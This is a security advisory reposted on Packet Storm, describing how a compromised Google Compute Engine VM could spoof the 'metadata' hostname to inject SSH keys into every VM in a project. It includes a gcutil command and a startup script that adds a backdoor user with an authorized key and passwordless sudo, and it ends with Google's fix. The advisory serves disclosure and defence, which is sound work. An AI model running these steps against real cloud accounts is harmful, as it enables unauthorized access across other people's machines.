exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Google Compute Engine Lateral Compromise

Google Compute Engine Lateral Compromise
Posted May 30, 2014
Authored by Scott T. Cameron

A user who creates a GCE VM with compute-rw privileges, who subsequently has that single VM compromised, can lead to a global compromise of all VMs inside of the account.

tags | exploit
SHA-256 | 84a88f6be8ba62330e5f81858beb2371ac0e62574b8d7738caa92531e3dc04d3

Google Compute Engine Lateral Compromise

Change Mirror Download
A user who creates a GCE VM with compute-rw privileges, who
subsequently has that single VM compromised, can lead to a global
compromise of all VMs inside of the account.


VMs created in the web UI, by default, come with compute-rw privileges.


Google’s account manager fetches ssh keys from the Google Metadata
server on a short DNS name, which relies on DNS to expand to FQDN:

/usr/share/google/google_daemon/desired_accounts.py:

ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s')

INSTANCE_SSHKEYS_URL = (

'http://metadata/computeMetadata/v1/instance/attributes/sshKeys?%s')

PROJECT_SSHKEYS_URL = (

'http://metadata/computeMetadata/v1/project/attributes/sshKeys?%s')


We can exploit this by relying on Google’s addinstnace command to
automatically add a new instance to the recursive DNS provider @
169.254.169.254:


gcutil addinstance
--image=projects/debian-cloud/global/images/backports-debian-7-wheezy-v20140331
--zone=us-central1-a --machine_type=n1-standard-2
--metadata_from_file=startup-script:google-base.txt metadata


— startup-script:

#!/bin/bash


export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin


useradd testuser

mkdir -p /home/testuser/.ssh

cat <<EOF > /home/testuser/.ssh/authorized_keys

ssh-rsa superawesome ssh@key

EOF

chmod 644 /home/testuser/.ssh/authorized_keys

cat <<EOF >>/etc/sudoers

testuser ALL=NOPASSWD: ALL

EOF


exit 0


Once the system is online, google’s account manager and google’s
address manager will start making TCP/80 calls to our new server.
This would allow you to compromise all Google Compute Engine VMs in
the Google Project, as it would allow you to inject your own ssh key
in to metadata's sshkeys k/v pair.

Last but not least, if you otherwise had the ability to compromise DNS
responses of Google Compute Engine VMs, you could simply use the lack
of HMAC/DNS suffix in desired_accounts.py to compromise your targets.

Response
-------------

Google has updated its desired_accounts.py as follows:


METADATA_V1_URL_PREFIX = 'http://169.254.169.254/computeMetadata/v1/'


This avoids the problem on all newly created GCE VMs. However, older
instances do not have any update mechanism available to them, leaving
a substantial number of GCE VMs vulnerable.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close